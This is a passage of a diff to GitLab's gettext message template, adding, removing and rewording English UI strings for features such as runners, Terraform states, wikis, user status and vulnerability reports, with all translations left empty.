msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -23116,6 +23632,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -23146,12 +23665,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -23179,6 +23704,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -23212,10 +23740,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -23341,12 +23869,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -23473,6 +24007,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -23515,6 +24052,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -23539,6 +24079,9 @@ msgstr[5] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23608,6 +24151,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23671,12 +24217,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23704,9 +24244,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23809,12 +24346,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23833,7 +24364,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23890,15 +24421,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -24001,6 +24526,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -24040,9 +24568,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -24166,6 +24691,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -24352,6 +24880,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -24520,6 +25051,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24637,9 +25174,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24982,12 +25516,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -25030,21 +25558,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -25063,6 +25600,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -25159,9 +25699,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -25216,13 +25753,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -25255,6 +25795,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -25354,10 +25897,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -25408,6 +25954,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -25519,9 +26068,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -25567,7 +26113,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25648,10 +26194,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25933,10 +26482,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25960,6 +26509,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -26077,9 +26629,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -26239,6 +26788,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -26407,6 +26968,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -26416,6 +26980,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -26464,6 +27031,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26638,6 +27208,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26806,9 +27379,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26848,6 +27418,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26866,24 +27439,48 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26908,6 +27505,12 @@ msgstr[5] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26935,6 +27538,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26965,6 +27571,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -27064,9 +27673,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -27076,10 +27682,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -27148,9 +27754,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -27196,6 +27799,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -27244,6 +27850,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -27289,6 +27901,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -27400,6 +28015,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -27409,7 +28027,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -27421,9 +28039,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -27439,6 +28054,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -27526,6 +28144,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27841,9 +28462,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27853,9 +28471,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27898,6 +28513,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27961,7 +28579,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27970,9 +28588,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -28087,7 +28702,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -28108,9 +28723,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -28189,6 +28801,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -28234,6 +28849,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -28534,6 +29152,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -28558,6 +29179,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28693,7 +29317,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28792,6 +29416,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -29134,6 +29761,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -29200,7 +29830,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -29272,10 +29902,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -29470,9 +30100,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -29491,6 +30118,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -29527,6 +30157,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -29617,6 +30250,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29764,6 +30400,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29821,6 +30463,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29866,6 +30511,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29896,6 +30544,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29932,6 +30583,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29974,15 +30628,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -30052,7 +30706,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -30139,6 +30793,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -30196,6 +30853,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -30289,9 +30949,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -30397,6 +31054,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -30445,10 +31108,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -30463,6 +31123,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -30487,6 +31150,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -30616,6 +31282,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -30631,6 +31300,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30712,12 +31384,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30778,7 +31456,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30934,6 +31618,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -31015,9 +31702,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -31027,6 +31711,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -31072,6 +31759,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -31231,6 +31921,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -31273,6 +31966,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -31351,6 +32047,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -31435,9 +32137,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -31480,13 +32179,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
